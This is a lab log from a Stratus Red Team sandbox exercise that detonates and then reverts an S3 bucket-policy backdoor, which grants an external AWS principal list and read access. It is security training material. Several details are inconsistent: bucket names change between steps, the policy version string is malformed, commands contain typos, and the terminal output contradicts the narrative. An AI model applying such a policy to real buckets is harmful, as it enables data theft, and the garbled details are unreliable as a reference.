S3 Bucket Policy Backdoor Discussion Log

Environment: Stratus Red Team sandbox; AWS CLI v2

OS: Ubuntu

Lucy Njuguna

Objective:

Demonstrate how a malicious actor could introduce a backdoor into an S3 bucket by modifying the bucket policy to grant read access to an external principal, validating that the policy is present and effective, and then reverting the changes.

Step-by-step walk-through

1) Warmup / Environment preparation

Purpose: Prepare the sandbox and confirm the base state before detonation.

Command executed:
stratus warmup aws. exfiltration.s3-backdoor-bucket-policy

Outcome: Stratus reported a successful warmup, created an isolated test AWS role, and provisioned a test S3 bucket

2) Baseline policy check

Purpose: Record the initial bucket policy (baseline) before applying the backdoor.

Command executed:
aws s3api get-bucket-policy --bucket stratus-red-team-bdbp-zkqgfovijw

Outcome: The command returned an error indicating there is no bucket policy associated with this bucket. An error occurred (NoSuchBucketPolicy) when calling the GetBucketPolicy operation: The bucket policy does not exist

This established a clear baseline proving that the backdoor was introduced by the subsequent detonation step rather than a preexisting configuration.

3) Detonation - Application of the backdoor bucket policy

Purpose: Use Stratus Red Team to apply a malicious-style bucket policy that grants an external principal cross-account read/list permissions.

Command executed:
Stratus detonate aws. exfiltration.s3-backdoor-bucket-policy

Outcome: Stratus executed the scenario and reported success. The tool output indicated that a bucket policy was written, which included an allow statement mapping s3:ListBucket and s3:GetObject to a synthetic external principal.

verification command executed:
aws s3api get-bucket-policy --bucket stratus-red-team-bdbp-zkqgfovijw

Result: The command returned JSON containing the new bucket policy.

{ "Policy": "{\\"Version\\":\\"2025-10 21\\",\\"Statement\\": [{\\"Effect\\":\\"Allow\\",\\"Principal\\": {\\"AWS\\":\\"ar n:aws:iam::.....:root\\"},\\"Action\\ ": [\\"s3:GetObject\\",\\"s3:GetBucketLocation\ \",\\"s3:ListBucket\\"],\\" Resource\\":[\\"arn:aws:s3:::stratus-red team-bdbp zkqgfovijw/*\\",\\"arn:aws:s3:::stratus-red team-bdbp-zkqgfo vijw\\"]}]}" }

With this policy in place, an attacker with access to the external principal would be able to list and read objects in the bucket, enabling exfiltration even if prior credentials were rotated.

4) Functional probe

Purpose: Show that the allowance is effective by performing a read using a simulated external principal

Command executed

status aws. exfiltration.s3-backdoor

Outcome: The policy string contains BackdoorReadAccess and lists the permitted actions.

5) Cleanup

Purpose: Remove the backdoor policy and restore the bucket to baseline.

Command executed: stratus revert aws. exfiltration.s3-backdoor-bucket-policy
stratus cleanup

Screenshots

```
lucy_davisw@LAPTOP-RLKALO1D:~$ stratus warmup aws.exfiltration.s3-backdoor-bucket-policy
2025/10/21 18:42:48 Checking your authentication against AWS
2025/10/21 18:42:50 aws.exfiltration.s3-backdoor-bucket-policy has been detonated but not cleaned up, not warming up as it should be
warm already.
lucy_davisw@LAPTOP-RLKALO1D:~$ aws s3 ls
2025-10-21 18:37:26 stratus-red-team-bdbp-xyasrrcdfh
lucy_davisw@LAPTOP-RLKALO1D:~$ stratus status aws.exfiltration.s3-backdoor-bucket-policy
+-----------------------------------------+-----------------------------------------+-----------+
| ID                                      | NAME                                    | STATUS    |
+-----------------------------------------+-----------------------------------------+-----------+
| aws.exfiltration.s3-backdoor-bucket-policy | Backdoor an S3 Bucket via its Bucket Policy | DETONATED |
+-----------------------------------------+-----------------------------------------+-----------+
```

```
lucy_davisw@LAPTOP-RLKALO1D:~$ stratus revert aws.exfiltration.s3-backdoor-bucket-policy
2025/10/21 18:45:01 Checking your authentication against AWS
2025/10/21 18:45:03 Reverting detonation of technique aws.exfiltration.s3-backdoor-bucket-policy
2025/10/21 18:45:03 Removing malicious bucket policy on stratus-red-team-bdbp-xyasrrcdfh
+-----------------------------------------+-----------------------------------------+--------+
| ID                                      | NAME                                    | STATUS |
+-----------------------------------------+-----------------------------------------+--------+
| aws.exfiltration.s3-backdoor-bucket-policy | Backdoor an S3 Bucket via its Bucket Policy | WARM   |
+-----------------------------------------+-----------------------------------------+--------+
lucy_davisw@LAPTOP-RLKALO1D:~$ aws s3api get-bucket-policy --bucket stratus-red-team-bdbp-ivudhrxaat

An error occurred (NoSuchBucket) when calling the GetBucketPolicy operation: The specified bucket does not exist
lucy_davisw@LAPTOP-RLKALO1D:~$ stratus cleanup aws.exfiltration.s3-backdoor-bucket-policy
2025/10/21 18:45:28 Cleaning up aws.exfiltration.s3-backdoor-bucket-policy
2025/10/21 18:45:28 Cleaning up technique prerequisites with terraform destroy
+-----------------------------------------+-----------------------------------------+--------+
| ID                                      | NAME                                    | STATUS |
+-----------------------------------------+-----------------------------------------+--------+
| aws.exfiltration.s3-backdoor-bucket-policy | Backdoor an S3 Bucket via its Bucket Policy | COLD   |
+-----------------------------------------+-----------------------------------------+--------+
```